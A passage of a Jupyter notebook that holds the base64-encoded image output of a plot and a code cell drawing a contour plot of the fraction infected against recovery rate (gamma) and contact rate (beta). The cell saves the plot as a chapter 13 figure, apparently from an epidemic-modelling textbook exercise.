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\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "contour(frame)\n", "\n", "decorate(xlabel='Recovery rate (gamma)',\n", " ylabel='Contact rate (beta)',\n", " title='Fraction infected, contour plot')\n", "\n", "savefig('figs/chap13-fig04.pdf')" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.7.3" } 